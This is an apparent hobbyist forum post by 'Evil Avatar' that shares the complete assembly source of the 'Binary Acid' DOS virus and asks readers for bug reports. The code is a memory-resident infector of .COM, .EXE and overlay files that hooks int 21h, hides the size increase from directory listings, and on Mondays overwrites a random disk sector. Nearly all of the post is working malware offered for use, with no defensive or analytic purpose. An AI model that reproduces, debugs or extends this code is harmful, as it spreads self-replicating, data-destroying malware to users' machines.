Ok, here is the Binary Acid source. It compiles to 666 bytes. It was padded so some of the code is not as optimised as it should be. Please tell me if you find and bugs, descrepancies (sp?), etc. I'm working on a boot sector virus right now. After that I will finish my multipartite one. -Evil --------------------------------------------------------------- ;Binary Acid Virus ;by Evil Avatar ;This is a resident .COM/.EXE/.OV? infector that infects on file runs. ;It does hide the size change AND avoids CHKDSK and its ilk. .model tiny ;if you are lost already, you .code ;shouldn't be playing with viruses org 0h v_mem equ (v_end-Acid+15)/16+1 v_word equ (v_end-Acid)/2 id equ 0a0ffh v_file equ (heap-Acid) Acid: call next next: pop bp sub bp, offset next ;get delta offset mov ax, id sub bx, bx int 21h ;residentcy install check push es ;save PSP segment cmp bx, id ;are we here already? je check ;then exit mov ax, 3521h int 21h ;get int 21h vector mov word ptr [bp+save_21], bx mov word ptr [bp+save_21+2], es ;save int 21h vector mov ax, ds ;ds=PSP segment dec ax ;ax=MCB segment mov es, ax ;es=MCB segment cmp byte ptr es:[0], 'Z' ;is it last MCB in chain? jne done ;no? exit sub word ptr es:[3], v_mem ;allocate memory for virus sub word ptr es:[12h], v_mem ;change TOM field in PSP mov ax, es:[12h] ;find virus MCB segment mov es, ax ;es=virus MCB segment mov byte ptr es:[0], 'Z' ;mark as last in MCB chain mov word ptr es:[1], 8 ;DOS now owns this mov word ptr es:[3], v_mem-1 ;set the size of segment inc ax ;ax=virus segment mov es, ax ;es=virus segment lea si, [bp+offset Acid] ;start of virus sub di, di ;clear di mov cx, v_word ;virus size in words rep movsw ;copy virus to TOM push es pop ds ;put segment in ds mov ax, 2521h mov dx, offset int21 int 21h ;set new int 21h vector in virus check: pop es ;restore es mov ah, 2ah int 21h ;get date cmp al, 1 ;is it a monday? je destroy ;chew a sector return: cmp sp, 0abcdh ;is this an .exe file? jne done ;no? restore com stuff push es pop ds mov ax, es ;ax=PSP segment add ax, 10h ;adjust for PSP size add word ptr cs:[bp+comsave+2], ax ;set up cs add ax, word ptr cs:[bp+_ss_sp+2] ;set up ss cli ;clear ints for stack manipulation mov ss, ax ;set ss mov sp, word ptr [bp+_ss_sp] ;set sp sti ;restore ints db 0eah ;jump to old program comsave db 0cdh, 20h, 0, 0 destroy: in al, 40h xchg al, ah in al, 40h ;get a random number xchg ax, dx mov cx, 1 mov ax, 2 int 26h ;and crunch that sector jmp return ;return to program done: push cs pop ds ;ds=cs push cs pop es ;es=cs mov di, 100h ;beginning of program push di ;for later return lea si, [bp+comsave] ;first 3 bytes of program movsb movsw ;restore first 3 bytes ret ;return to program int21: cmp ax, id ;is this an installation check? je vcheck ;yes? tell 'em we're here push bx push cx push si push di push es push dx push ds ;save regs push ax cmp ah, 4bh ;hmm..execute huh? well, they je v_com ;did it to themselves cmp ah, 11h ;dir check je dirfix cmp ah, 12h ;dir check je dirfix pop ax pop ds pop dx intpop: pop es pop di pop si pop cx pop bx ;restore regs jmp dword ptr cs:[save_21] ;jump to DOS int 21h vcheck: xchg ax, bx ;put ID into bx iret dirfix: pushf call dword ptr cs:save_21 ;simulate int 21h call mov word ptr cs:[buffer], ax ;save return push ax push si pushf ;save the new flags mov si, sp mov ax, [si] ;get new flags mov [si+10], ax ;put them where old flags are popf pop si pop ax test al, al ;see if file is found jnz nofile ;if none, exit mov ah, 51h int 21h ;get PSP segment mov es, bx cmp bx, es:[16h] ;is it DOS? jne nofile ;no? avoid CHKDSK mov ah, 2fh int 21h ;get DTA in es:bx cmp byte ptr ds:[bx], -1 ;is it extended FCB? jne cont add bx, 7 ;then add 7 to pointer cont: mov cx, ds:[bx+17h] ;get time and cx, 1fh ;get seconds cmp cx, 1fh ;if not 62 secs then exit jne nofile sub ds:[bx+1dh], v_file sbb word ptr ds:[bx+1fh], 0 ;subtract virus size nofile: pop ax ;if you can read this pop ds ;you don't need glasses pop dx pop es pop di pop si pop cx pop bx ;restore regs mov ax, word ptr cs:[buffer] ;restore return type iret v_com: push ds push dx push cs pop ds mov ax, 3524h int 21h ;get critical error handler mov word ptr [save_24], bx mov word ptr [save_24+2], es ;save it mov ax, 2524h mov dx, offset int24 int 21h ;set new critical error handler pop dx pop ds push cs pop es mov ax, 4300h int 21h ;get attributes of file push cx ;save attributes mov ax, 4301h sub cx, cx int 21h ;clear attributes jc booster mov ax, 3d02h int 21h ;open file xchg ax, bx ;put handle in bx push cs pop ds ;ds=cs for all references jmp past_booster booster: ;i hate having to use these pop cx pop ax pop ds pop dx push ax jmp bad_file text db 'KW' ;you'll never guess past_booster: mov ah, 3fh mov cx, 1ah mov dx, offset buffer int 21h ;read first 1ah bytes mov ax, 5700h int 21h ;get file time and date mov word ptr [time], cx ;save time mov word ptr [date], dx ;save date and cx, 1fh ;get seconds cmp cx, 1fh ;is it 62 secs? je close ;already infected cmp word ptr [buffer], 'ZM' je v_exe cmp word ptr [buffer], 'MZ' je v_exe ;if .exe file then infect it mov si, offset buffer mov di, offset comsave movsb movsw ;move combytes to comsave mov ax, 4202h sub cx, cx cwd int 21h ;move pointer to EOF sub ax, 3 mov byte ptr [buffer], 0e9h mov word ptr [buffer+1], ax ;set up jump write_virus: mov ah, 40h mov cx, v_file cwd int 21h ;write virus to EOF mov ax, 4200h sub cx, cx int 21h ;go to beginning of file mov ah, 40h mov cx, 1ah ;restore buffer size mov dx, offset buffer int 21h ;write header or jump sign: mov ax, 5701h mov cx, word ptr [time] ;get time or cx, 1fh ;set seconds to 62 mov dx, word ptr [date] ;get date int 21h ;set file time and date close: mov ah, 3eh int 21h ;close file pop cx ;get attributes pop ax pop ds pop dx ;get file name push ax mov ax, 4301h int 21h ;restore attributes bad_file: push ds push dx mov ax, 2524h lds dx, dword ptr cs:[save_24] int 21h ;restore old int 24h pop dx pop ds pop ax jmp intpop ;return to caller v_exe: push bx les ax, dword ptr [buffer+14h] ;get cs:ip in es:ax mov word ptr [comsave], ax ;save ip mov word ptr [comsave+2], es ;save cs les ax, dword ptr [buffer+0eh] ;get ss:sp mov word ptr [_ss_sp], es ;save sp mov word ptr [_ss_sp+2], ax ;save ss add word ptr [buffer+0ah], v_mem ;set new minimum memory requested mov ax, word ptr [buffer+8] ;get header size mov cl, 10h mul cl ;change to bytes push ax ;save it mov ax, 4202h sub cx, cx cwd ;move file pointer to EOF int 21h ;and get file size in dx:ax pop cx ;restore header size push dx push ax ;save file size sub ax, cx sbb dx, 0 ;get new cs:ip mov word ptr [buffer+16h], dx ;save cs mov word ptr [buffer+14h], ax ;save ip mov word ptr [buffer+0eh], dx ;save ss mov word ptr [buffer+10h], 0abcdh ;save sp pop ax pop dx ;get file size add ax, (v_end-Acid) adc dx, 0 ;add virus size mov cx, 200h div cx ;convert to pages push ax ;save it or dx, dx ;is there a remainder? je remainder ;yes? increment number of pages inc ax remainder: mov word ptr [buffer+4], ax ;save number of pages pop ax and ah, 1 mov word ptr [buffer+2], ax ;file size MOD 512 pop bx jmp write_virus int24: mov al, 3 ;fail the call iret vname db '[Binary Acid]', 0 ;do you need this explained??? author db '(c) 1994 Evil Avatar', 0 ;this is me (duh!) _ss_sp dd ? ;stack pointer heap: ;variables save_21 dd ? ;int 21h entry save_24 dd ? ;int 24h entry time dw ? ;file time date dw ? ;file date buffer db 1ah dup (?) ;buffer v_end: end Acid